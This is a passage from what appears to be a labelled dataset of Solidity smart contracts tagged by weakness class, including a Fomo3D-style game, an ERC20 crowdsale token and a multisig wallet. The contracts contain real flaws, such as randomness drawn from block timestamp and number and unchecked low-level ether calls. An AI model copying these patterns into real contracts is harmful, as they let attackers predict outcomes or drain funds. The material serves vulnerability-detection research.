(airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_rID, _pID, _team, _eth, _keys, _eventData_); } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { if (plyrRnds_[_pID][_rIDlast].ico == 0) return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); else if (now > round_[_rIDlast].strt + rndGap_ && round_[_rIDlast].eth == 0) return( (((((round_[_rIDlast].icoGen).mul(1000000000000000000)) / (round_[_rIDlast].ico).keys()).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); else return( (((round_[_rIDlast].mask).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcAverageICOPhaseKeyPrice(uint256 _rID) public view returns(uint256) { return( (round_[_rID].ico).mul(1000000000000000000) / (round_[_rID].ico).keys() ); } function calcPlayerICOPhaseKeys(uint256 _pID, uint256 _rID) public view returns(uint256) { if (round_[_rID].icoAvg != 0 || round_[_rID].ico == 0 ) return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / round_[_rID].icoAvg ); else return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / calcAverageICOPhaseKeyPrice(_rID) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end) return ( (round_[_rID].eth).keysRec(_eth) ); else if (_now <= round_[_rID].end) return ( (round_[_rID].ico).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else if (_now <= round_[_rID].end) return ( (((round_[_rID].ico).keys()).add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function manageRoundAndPlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].end) { if (round_[_rID].ended == false) { _eventData_ = endRound(_eventData_); round_[_rID].ended = true; } rID_++; _rID++; round_[_rID].strt = _now; round_[_rID].end = _now.add(rndInit_).add(rndGap_); } if (plyr_[_pID].lrnd != _rID) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = _rID; _eventData_.compressedData = _eventData_.compressedData + 10; } return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; if (round_[_rID].eth == 0 && round_[_rID].ico > 0) roundClaimICOKeys(_rID); uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_p3d.add(_com)); round_[_rID].mask = _ppt.add(round_[_rID].mask); round_[_rID + 1].pot += _res; _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; return(_eventData_); } function roundClaimICOKeys(uint256 _rID) private { round_[_rID].eth = round_[_rID].ico; round_[_rID].keys = (round_[_rID].ico).keys(); round_[_rID].icoAvg = calcAverageICOPhaseKeyPrice(_rID); uint256 _ppt = ((round_[_rID].icoGen).mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = (round_[_rID].icoGen).sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)); if (_dust > 0) round_[_rID].pot = (_dust).add(round_[_rID].pot); round_[_rID].mask = _ppt.add(round_[_rID].mask); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); uint256 _now = now; if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _long = _eth / 100; admin.transfer(_long); uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { admin.transfer(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _rID, uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (_rID * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C || msg.sender == 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D || msg.sender == 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53 || msg.sender == 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C || msg.sender == 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3, ""only team just can activate"" ); require(activated_ == false, ""fomo3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now; round_[1].end = now + rndInit_ + rndGap_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcFast { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(200000000000000000000000000000000)).add(2500000000000000000000000000000000000000000000000000000000000000)).sqrt()).sub(50000000000000000000000000000000)) / (100000000000000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((50000000000000).mul(_keys.sq()).add(((100000000000000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface DiviesInterface { function deposit() external payable; } interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 240.sol,"pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /* Full name EthCoin abbreviation ETC Total ten million pieces. ETC pledges to 6.5 times the specified wallet address and releases MFC at 0.2% per day; the released token (MFC) is repeatedly pledged to 7 times the interest rate; the community shares 80% of the contribution award; ETC burns 20% MFC; 1ETC = 0.3 US dollars, and the total MFC issue is $10 billion. */ contract ETC is StandardToken, Ownable { // Constants string public constant name = ""EthCoin""; string public constant symbol = ""ETC""; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(decimals)); uint public amountRaised; uint256 public buyPrice = 50000; bool public crowdsaleClosed; function ETC() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient Transfer(_from, _to, _value); } function setPrices(bool closebuy, uint256 newBuyPrice) onlyOwner public { crowdsaleClosed = closebuy; buyPrice = newBuyPrice; } function () external payable { require(!crowdsaleClosed); uint amount = msg.value ; // calculates the amount amountRaised = amountRaised.add(amount); _transfer(owner, msg.sender, amount.mul(buyPrice)); } //取回eth, 参数设为0 则全部取回, 否则取回指定数量的eth function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } /* Batch token transfer. Used by contract creator to distribute initial tokens to holders */ function batchTransfer(address[] _recipients, uint[] _values) onlyOwner public returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= balances[msg.sender]); for(uint j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); Transfer(msg.sender, _recipients[j], _values[j]); } balances[msg.sender] = balances[msg.sender].sub(total); return true; } }",./Dataset/ether strict equality (SE),3,3 34577.sol,"pragma solidity ^0.4.17; // ---------------------------------------------------------------------------------------------- // by EdooPAD Inc. // An ERC20 standard // // author: EdooPAD Inc. // Contact: [email protected] /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. contract MultiSigWallet { event Confirmation(address sender, bytes32 transactionId); event Revocation(address sender, bytes32 transactionId); event Submission(bytes32 transactionId); event Execution(bytes32 transactionId); event Deposit(address sender, uint value); event OwnerAddition(address owner); event OwnerRemoval(address owner); event RequirementChange(uint required); event CoinCreation(address coin); mapping (bytes32 => Transaction) public transactions; mapping (bytes32 => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] owners; bytes32[] transactionList; uint public required; struct Transaction { address destination; uint value; bytes data; uint nonce; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) revert(); _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) revert(); _; } modifier ownerExists(address owner) { if (!isOwner[owner]) revert(); _; } modifier confirmed(bytes32 transactionId, address owner) { if (!confirmations[transactionId][owner]) revert(); _; } modifier notConfirmed(bytes32 transactionId, address owner) { if (confirmations[transactionId][owner]) revert(); _; } modifier notExecuted(bytes32 transactionId) { if (transactions[transactionId].executed) revert(); _; } modifier notNull(address destination) { if (destination == 0) revert(); _; } modifier validRequirement(uint _ownerCount, uint _required) { if ( _required > _ownerCount || _required == 0 || _ownerCount == 0) revert(); _; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) external onlyWallet ownerDoesNotExist(owner) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) external onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Update the minimum required owner for transaction validation /// @param _required number of owners function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @param nonce /// @return transactionId. function addTransaction(address destination, uint value, bytes data, uint nonce) private notNull(destination) returns (bytes32 transactionId) { // transactionId = sha3(destination, value, data, nonce); transactionId = keccak256(destination, value, data, nonce); if (transactions[transactionId].destination == 0) { transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, nonce: nonce, executed: false }); transactionList.push(transactionId); Submission(transactionId); } } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @param nonce /// @return transactionId. function submitTransaction(address destination, uint value, bytes data, uint nonce) external ownerExists(msg.sender) returns (bytes32 transactionId) { transactionId = addTransaction(destination, value, data, nonce); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId transaction Id. function confirmTransaction(bytes32 transactionId) public ownerExists(msg.sender) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId transaction Id. function executeTransaction(bytes32 transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (!txn.destination.call.value(txn.value)(txn.data)) revert(); // What happen with txn.executed when revert() is executed? Execution(transactionId); } } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId transaction Id. function revokeConfirmation(bytes32 transactionId) external ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) validRequirement(_owners.length, _required) public { for (uint i=0; i<_owners.length; i++) { // WHY Not included in this code? // if (isOwner[_owners[i]] || _owners[i] == 0) // throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// Fallback function allows to deposit ether. function() public payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /// @dev Returns the confirmation status of a transaction. /// @param transactionId transaction Id. /// @return Confirmation status. function isConfirmed(bytes32 transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i 0) _transactionList[i] = _transactionListTemp[i]; } /// @dev Returns list of pending transactions function getPendingTransactions() external constant returns (bytes32[]) { return filterTransactions(true); } /// @dev Returns list of executed transactions function getExecutedTransactions() external constant returns (bytes32[]) { return filterTransactions(false); } }",./Dataset/unchecked external call (UC),7,7 37324.sol,"pragma solidity ^0.4.16; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ERC20Token is StandardToken { function () { revert(); } string public name; //optional uint8 public decimals; //optional string public symbol; //Optional string public version = 'H1.0'; //Optional //this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 100000000000000000000000000; // Initial S. totalSupply = 100000000000000000000000000; // total supply name = ""ClinicR""; // Set the name decimals = 18; // Amount of decimals symbol = ""CLNR""; // Symbol } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); 